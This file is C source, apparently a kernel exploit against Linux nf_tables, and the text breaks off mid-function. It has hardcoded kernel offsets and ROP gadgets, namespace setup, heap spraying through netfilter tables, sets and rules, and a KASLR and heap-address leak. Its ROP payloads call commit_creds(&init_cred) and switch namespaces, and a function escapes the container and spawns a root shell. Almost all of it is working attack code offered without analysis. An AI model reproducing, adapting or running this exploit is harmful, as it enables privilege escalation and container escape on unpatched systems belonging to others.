#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <net/if.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <linux/rtnetlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/set.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

uint64_t find_task_by_vpid_off = 0x10a0d0;
uint64_t switch_task_namespaces_off = 0x111c80;
uint64_t commit_creds_off = 0x1136f0;
uint64_t init_cred_off = 0x26618c0;
uint64_t init_nsproxy_off = 0x2661680;
uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x12010c6;
uint64_t nft_counter_ops_off = 0x1af8340;
uint64_t msleep_off = 0x17da60;
uint64_t counter_ops_addr_off = 0x293a220+0x10;

// 0xffffffff81e69be9 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404440
// 0xffffffff811481f3 : pop rdi ; jmp 0xffffffff82404440
// 0xffffffff810d813f : pop rsi ; jmp 0xffffffff82404440
// 0xffffffff8161dd6a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404440
// 0xffffffff810081ad : pop rsp ; jmp 0xffffffff82404440

// 0xffffffff8106f410 : mov qword ptr [rdi], rsi ; jmp 0xffffffff82404440
// 0xffffffff81c77e68 : push rsi ; jmp qword ptr [rsi + 0xf]
// 0xffffffff811481ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82404440

uint64_t push_rbx_pop_rsp_pop_rbp_ret = 0xe69be9;
uint64_t pop_rdi_ret = 0x1481f3;
uint64_t pop_rsi_ret = 0x0d813f;
uint64_t mov_rdi_rax_ret = 0x61dd6a;
uint64_t pop_rsp_ret = 0x0081ad;

uint64_t mov_ptr_rdi_rsi = 0x06f410;
uint64_t push_rsi_jmp_rsi_f = 0xc77e68;
uint64_t pop_rsp_pop_r13_pop_r14_pop_r15_ret = 0x1481ed;

uint64_t nft_counter_ops = 0;
uint64_t kbase = 0;
uint64_t heap_addr = 0;
uint64_t heap_addr1 = 0;
uint64_t heap_addr2 = 0;

struct mnl_socket * nl;
uint32_t portid;

void write_file(const char *filename, char *text) {
    int fd = open(filename, O_RDWR | O_CREAT, 0644);

    write(fd, text, strlen(text));
    close(fd);
}

void new_ns(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    unshare(CLONE_NEWUSER | CLONE_NEWNS);
    unshare(CLONE_NEWNET);

    write_file("/proc/self/setgroups", "deny");

    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);
}

void pwn(){
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);

    exit(0);
}

uint64_t _user_rip = (uint64_t) pwn;
uint64_t _user_cs = 0;
uint64_t _user_rflags = 0;
uint64_t _user_sp = 0;
uint64_t _user_ss = 0;

void save_state(void) {
	__asm__(".intel_syntax noprefix;"
	"mov _user_cs, cs;"
	"mov _user_ss, ss;"
	"mov _user_sp, rsp;"
	"pushf;"
	"pop _user_rflags;"
	".att_syntax");
	return;
}

// We can put everthing in the Table1. Just need to change the rule_handle.
char * table1_name = "table1";
char * table2_name = "table2";
char * table3_name = "table3";

char * chain1_name = "chain1";
char * chain2_name = "chain2";
char * chain_victim_name = "chain3";
char * chain_target_name = "chain4";

char * set1_name = "set1";
char * set_delay_name = "set_delay";

uint8_t family = NFPROTO_IPV4;

void make_payload(uint64_t* data){
    int i = 0;

    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + counter_ops_addr_off;

    data[i++] = kbase + pop_rsi_ret;
    data[i++] = heap_addr+0x40;                         // fake ops
    data[i++] = kbase + mov_ptr_rdi_rsi;
    data[i++] = kbase + msleep_off;

    data[i++] = 0;
    data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret;
    data[i++] = 0;                                      // fake_ops start
    data[i++] = 0;
    data[i++] = 8;                                      // ops.size
    data[i++] = kbase + push_rsi_jmp_rsi_f;             // ops.init
}

void make_payload2(uint64_t* data){
    int i = 0;

    // commit_creds(&init_cred)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + init_cred_off;
    data[i++] = kbase + commit_creds_off;

    // find_task_by_vpid(1)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = 1;
    data[i++] = kbase + find_task_by_vpid_off;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + mov_rdi_rax_ret;
    data[i++] = kbase + pop_rsi_ret;
    data[i++] = kbase + init_nsproxy_off;
    data[i++] = kbase + switch_task_namespaces_off;

    data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
    data[i++] = 0;                  // rax
    data[i++] = 0;                  // rdx
    data[i++] = _user_rip;          // user_rip
    data[i++] = _user_cs;           // user_cs
    data[i++] = _user_rflags;       // user_rflags
    data[i++] = _user_sp;           // user_sp
    data[i++] = _user_ss;           // user_ss
}

#define FAKE_RULE_SPRAY_COUNT 0x80
#define FAKE_EXPR_SPRAY_COUNT 0x40

#define SET_DELAY_ELEM 0x1000
#define SET_SPRAY_COUNT 50

#define VICTIM_SPARY_COUNT 0x30
#define TARGET_SPRAY_COUNT 0x8

void trig(){
    int chain_id = 31337;

    struct nftnl_table * table1 = nftnl_table_alloc();
    nftnl_table_set_str(table1, NFTNL_TABLE_NAME, table1_name);
    nftnl_table_set_u32(table1, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_table * table2 = nftnl_table_alloc();
    nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name);
    nftnl_table_set_u32(table2, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_table * table3 = nftnl_table_alloc();
    nftnl_table_set_str(table3, NFTNL_TABLE_NAME, table3_name);
    nftnl_table_set_u32(table3, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_chain * chain1 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_chain * chain2 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name);
    nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING);
    nftnl_chain_set_u32(chain2, NFTNL_CHAIN_ID, chain_id);

    struct nftnl_chain * chain_victim = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_victim, NFTNL_CHAIN_TABLE, table2_name);
    nftnl_chain_set_str(chain_victim, NFTNL_CHAIN_NAME, chain_victim_name);
    nftnl_chain_set_u32(chain_victim, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_chain * chain_target = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_target, NFTNL_CHAIN_TABLE, table3_name);
    nftnl_chain_set_str(chain_target, NFTNL_CHAIN_NAME, chain_target_name);
    nftnl_chain_set_u32(chain_target, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_set * set1 =  nftnl_set_alloc();
    nftnl_set_set_str(set1, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set1, NFTNL_SET_NAME, set1_name);
    nftnl_set_set_u32(set1, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS);
    nftnl_set_set_u32(set1, NFTNL_SET_KEY_LEN, 64);
    nftnl_set_set_u32(set1, NFTNL_SET_ID, 1337);

    struct nftnl_set * set1_del =  nftnl_set_alloc();
    nftnl_set_set_str(set1_del, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set1_del, NFTNL_SET_NAME, set1_name);

    struct nftnl_set * set1_elem =  nftnl_set_alloc();

    nftnl_set_set_str(set1_elem, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set1_elem, NFTNL_SET_NAME, set1_name);

    struct nftnl_set_elem * elem = nftnl_set_elem_alloc();

    unsigned long key_data[0x100] = {0,};

    key_data[1] = 0xf800000000;

    char elem_data[0x100] = {0,};

    nftnl_set_elem_set(elem, NFTNL_SET_ELEM_KEY, &key_data, 0x40);
    nftnl_set_elem_set(elem, NFTNL_SET_ELEM_USERDATA, elem_data, 0x80);
    nftnl_set_elem_add(set1_elem, elem);

    char *set_name;
    struct nftnl_set * sets_rbtree[SET_SPRAY_COUNT];

    for(int i = 0; i < SET_SPRAY_COUNT; i++){
        asprintf(&set_name, "set%02hx", i);

        struct nftnl_set * set_spray =  nftnl_set_alloc();
        nftnl_set_set_str(set_spray, NFTNL_SET_TABLE, table2_name);
        nftnl_set_set_str(set_spray, NFTNL_SET_NAME, set_name);
        nftnl_set_set_u32(set_spray, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_INTERVAL);
        nftnl_set_set_u32(set_spray, NFTNL_SET_KEY_LEN, 64);
        nftnl_set_set_u32(set_spray, NFTNL_SET_ID, i+100);
        sets_rbtree[i] = set_spray;
    }

    struct nftnl_set * sets_rbtree2[SET_SPRAY_COUNT];

    for(int i = 0; i < SET_SPRAY_COUNT; i++){
        asprintf(&set_name, "set2%02hx", i);

        struct nftnl_set * set_spray =  nftnl_set_alloc();
        nftnl_set_set_str(set_spray, NFTNL_SET_TABLE, table2_name);
        nftnl_set_set_str(set_spray, NFTNL_SET_NAME, set_name);
        nftnl_set_set_u32(set_spray, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_INTERVAL);
        nftnl_set_set_u32(set_spray, NFTNL_SET_KEY_LEN, 64);
        nftnl_set_set_u32(set_spray, NFTNL_SET_ID, i+100);
        sets_rbtree2[i] = set_spray;
    }

    struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name);

    struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name);
    nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate);

    struct nftnl_rule * rule_lookup_set1 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_TABLE, table1_name);
    // nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_CHAIN, chain2_name);
    nftnl_rule_set_u32(rule_lookup_set1, NFTNL_RULE_CHAIN_ID, chain_id);

    struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup");
    nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00);
    nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, set1_name);
    nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SET_ID, 1337);
    nftnl_rule_add_expr(rule_lookup_set1, expr_lookup);

    struct nftnl_chain * chains_victim2[VICTIM_SPARY_COUNT];
    struct nftnl_rule * rules_bind_victim_victim2[VICTIM_SPARY_COUNT];
    struct nftnl_rule * rules_victim2[VICTIM_SPARY_COUNT];

    // Leak kaslr. Using nft_counter for LTS and Mitigation (v6.1) and nft_last for COS (v5.15)
    struct nftnl_expr * expr_counter;

    char* chain_victim2_name;
    char rule_data[0x100] = {0,};

    for(int i = 0 ; i < VICTIM_SPARY_COUNT; i++){
        asprintf(&chain_victim2_name, "c_%010hx", i);

        chains_victim2[i] = nftnl_chain_alloc();
        nftnl_chain_set_str(chains_victim2[i], NFTNL_CHAIN_TABLE, table2_name);
        nftnl_chain_set_str(chains_victim2[i], NFTNL_CHAIN_NAME, chain_victim2_name);
        nftnl_chain_set_u32(chains_victim2[i], NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING);

        rules_bind_victim_victim2[i] = nftnl_rule_alloc();

        nftnl_rule_set_str(rules_bind_victim_victim2[i], NFTNL_RULE_TABLE, table2_name);
        nftnl_rule_set_str(rules_bind_victim_victim2[i], NFTNL_RULE_CHAIN, chain_victim_name);

        expr_immediate = nftnl_expr_alloc("immediate");
        nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
        nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
        nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_victim2_name);

        nftnl_rule_add_expr(rules_bind_victim_victim2[i], expr_immediate);

        for(int j = 0 ; j < 12; j++){
            expr_counter = nftnl_expr_alloc("counter");
            nftnl_rule_add_expr(rules_bind_victim_victim2[i], expr_counter);
        }

        rules_victim2[i] = nftnl_rule_alloc();

        memset(rule_data, 'b', 0x100);

        nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_TABLE, table2_name);
        nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_CHAIN, chain_victim2_name);
        nftnl_rule_set_data(rules_victim2[i], NFTNL_RULE_USERDATA, rule_data, 192-25);
    }

    struct nftnl_rule * rule_target = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_target, NFTNL_RULE_TABLE, table3_name);
    nftnl_rule_set_str(rule_target, NFTNL_RULE_CHAIN, chain_target_name);
    nftnl_rule_set_data(rule_target, NFTNL_RULE_USERDATA, rule_data, 192-25-24);

    expr_counter = nftnl_expr_alloc("counter");
    nftnl_rule_add_expr(rule_target, expr_counter);

    struct nftnl_rule * rule_target_del = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_target_del, NFTNL_RULE_TABLE, table3_name);
    nftnl_rule_set_str(rule_target_del, NFTNL_RULE_CHAIN, chain_target_name);

    struct nftnl_rule * rule_bind_chain_1_2_del = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 5);

    struct nftnl_set * set_delay =  nftnl_set_alloc();
    nftnl_set_set_str(set_delay, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set_delay, NFTNL_SET_NAME, set_delay_name);
    nftnl_set_set_u32(set_delay, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS);
    nftnl_set_set_u32(set_delay, NFTNL_SET_KEY_LEN, 4);
    nftnl_set_set_u32(set_delay, NFTNL_SET_ID, 1338);

    struct nftnl_set * set_delay_elems[SET_DELAY_ELEM];
    struct nftnl_set_elem * delay_elem;

    memset(key_data, 0, 0x100);

    for(int i = 0; i < SET_DELAY_ELEM; i++){
        set_delay_elems[i] = nftnl_set_alloc();

        nftnl_set_set_str(set_delay_elems[i], NFTNL_SET_TABLE, table1_name);
        nftnl_set_set_str(set_delay_elems[i], NFTNL_SET_NAME, set_delay_name);

        delay_elem = nftnl_set_elem_alloc();

        key_data[0]++;

        nftnl_set_elem_set(delay_elem, NFTNL_SET_ELEM_KEY, &key_data, 4);
        nftnl_set_elem_add(set_delay_elems[i], delay_elem);
    }

    struct nftnl_set * set_delay_del =  nftnl_set_alloc();
    nftnl_set_set_str(set_delay_del, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set_delay_del, NFTNL_SET_NAME, set_delay_name);
    nftnl_set_set_u32(set_delay_del, NFTNL_SET_ID, 1338);

    size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100;
    char *buf = malloc(buf_size);
    int ret;
    char read_data[0x1000] = {0,};

    struct mnl_nlmsg_batch * batch;
    int seq = 0;
    struct nlmsghdr * nlh;

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table1);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table3);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    ret = mnl_socket_recvfrom(nl, read_data, 0x1000);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_delay);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < SET_DELAY_ELEM/2; i++){
        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
        nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = SET_DELAY_ELEM/2; i < SET_DELAY_ELEM; i++){
        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
        nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0 ; i < VICTIM_SPARY_COUNT; i++){
        nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
        nftnl_chain_nlmsg_build_payload(nlh, chains_victim2[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_target);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_victim);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain1);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set1);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0 ; i < VICTIM_SPARY_COUNT/2; i++){
        for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){
            nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
            nftnl_rule_nlmsg_build_payload(nlh, rule_target);
            mnl_nlmsg_batch_next(batch);
        }

        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rules_victim2[i]);
        mnl_nlmsg_batch_next(batch);

        for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){
            nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
            nftnl_rule_nlmsg_build_payload(nlh, rule_target);
            mnl_nlmsg_batch_next(batch);
        }

        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rules_bind_victim_victim2[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem);
    mnl_nlmsg_batch_next(batch);

    for(int i = VICTIM_SPARY_COUNT/2 ; i < VICTIM_SPARY_COUNT; i++){
        for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){
            nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
            nftnl_rule_nlmsg_build_payload(nlh, rule_target);
            mnl_nlmsg_batch_next(batch);
        }

        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rules_victim2[i]);
        mnl_nlmsg_batch_next(batch);

        for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){
            nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
            nftnl_rule_nlmsg_build_payload(nlh, rule_target);
            mnl_nlmsg_batch_next(batch);
        }

        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rules_bind_victim_victim2[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2_del);
    mnl_nlmsg_batch_next(batch);

    // create a delay to spray sets_rbtree[]
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, family, 0, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_delay);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work start
    usleep(10 * 1000);

    for(int i = 0; i < SET_SPRAY_COUNT; i++){
        batch = mnl_nlmsg_batch_start(buf, buf_size);

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
        nftnl_set_nlmsg_build_payload(nlh, sets_rbtree[i]);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
            err(1, "mnl_socket_send");
        }
    }

    // wait for destroy work done
    usleep(1000*1000);

    // spray nft_table->udata to kmalloc-cg-192
    struct nftnl_table * tables_fake_rule[FAKE_RULE_SPRAY_COUNT] = {0,};

    uint64_t *fake_rule_data = malloc(1024);
    memset(fake_rule_data, 'c', 1024);

    fake_rule_data[2] = 0xffff;     // fake rule handle
    fake_rule_data[2] |= (unsigned long) 1 << 56;
    fake_rule_data[3] = 0xff;

    for(int i = 0; i < FAKE_RULE_SPRAY_COUNT; i++){
        char *table_name;
        asprintf(&table_name, "fake_rule_192_%02hx", i);

        struct nftnl_table * table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
        nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
        nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_rule_data, 192);

        tables_fake_rule[i] = table;
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < FAKE_RULE_SPRAY_COUNT; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables_fake_rule[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // do leak
    struct nftnl_rule * rule_get;

    for(int i = 0; i < VICTIM_SPARY_COUNT; i++){
        asprintf(&chain_victim2_name, "c_%010hx", i);

        rule_get = nftnl_rule_alloc();
        nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table2_name);
        nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_victim2_name);
        nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0xffff);

        nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_get);
        nftnl_rule_free(rule_get);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
            err(1, "mnl_socket_send");
        }

        memset(read_data, 0, 0x400);

        ret = mnl_socket_recvfrom(nl, read_data, 0x400);

        if(read_data[0x50] == 'c'){
            heap_addr1 = *(unsigned long*) &read_data[0xef];
            heap_addr2 = *(unsigned long*) &read_data[0xf7];

            if(((heap_addr1 & 0xfff) % 0xc0) == 0)
                heap_addr = heap_addr1;
            else if(((heap_addr2 & 0xfff) % 0xc0) == 0)
                heap_addr = heap_addr2;
            else
                heap_addr = 0;

